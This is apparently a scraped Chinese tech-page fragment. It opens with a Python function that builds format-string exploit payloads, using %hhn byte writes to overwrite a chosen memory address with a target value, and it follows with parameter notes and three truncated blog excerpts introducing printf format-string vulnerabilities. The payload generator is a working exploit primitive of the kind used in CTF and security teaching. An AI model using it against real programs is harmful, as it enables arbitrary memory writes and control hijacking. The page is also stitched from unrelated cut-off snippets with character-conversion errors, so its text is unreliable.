def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804a028,0x12345678)
其中每個引數的含義基本如下
offset 表示要覆蓋的位址最初的偏移
size 表示機器字長
addr 表示將要覆蓋的位址。
target 表示我們要覆蓋為的目的變數值。
格式化字串漏洞
在編寫程式時由於編寫的不規範有可能產生這個漏洞。下面乙個例子 includeint a 2 int main 編譯時使用 gcc test.c m32表示編譯成32位的程式上面這個例子便是乙個很簡單的格式化字串漏洞,產生格式化字串漏洞需要兩個條件 下面講解printf輸出的原理 eg name su...
格式化字串漏洞簡介
格式化字串,也是一種比較常見的漏洞型別。會觸發該漏洞的函式很有限。主要就是printf還有sprintf,fprintf等等c庫中print家族的函式。我們先來看看printf的函式宣告 int printf const char format,這個是每個學過c語言的人一定會知道 會使用的函式。先是...
格式化字串漏洞歸納
主要是構建框架,沒有詳細闡述內容 分為兩部分,漏洞原理與利用方式 通常來說,利用格式化字串漏洞使得程式崩潰是最為簡單的利用方式,因為我們只需要輸入若干個 s即可。這是因為棧上不可能每個值都對應了合法的位址,所以總是會有某個位址可以使得程式崩潰。這一利用,雖然攻擊者本身似乎並不能控制程式,但是這樣卻可...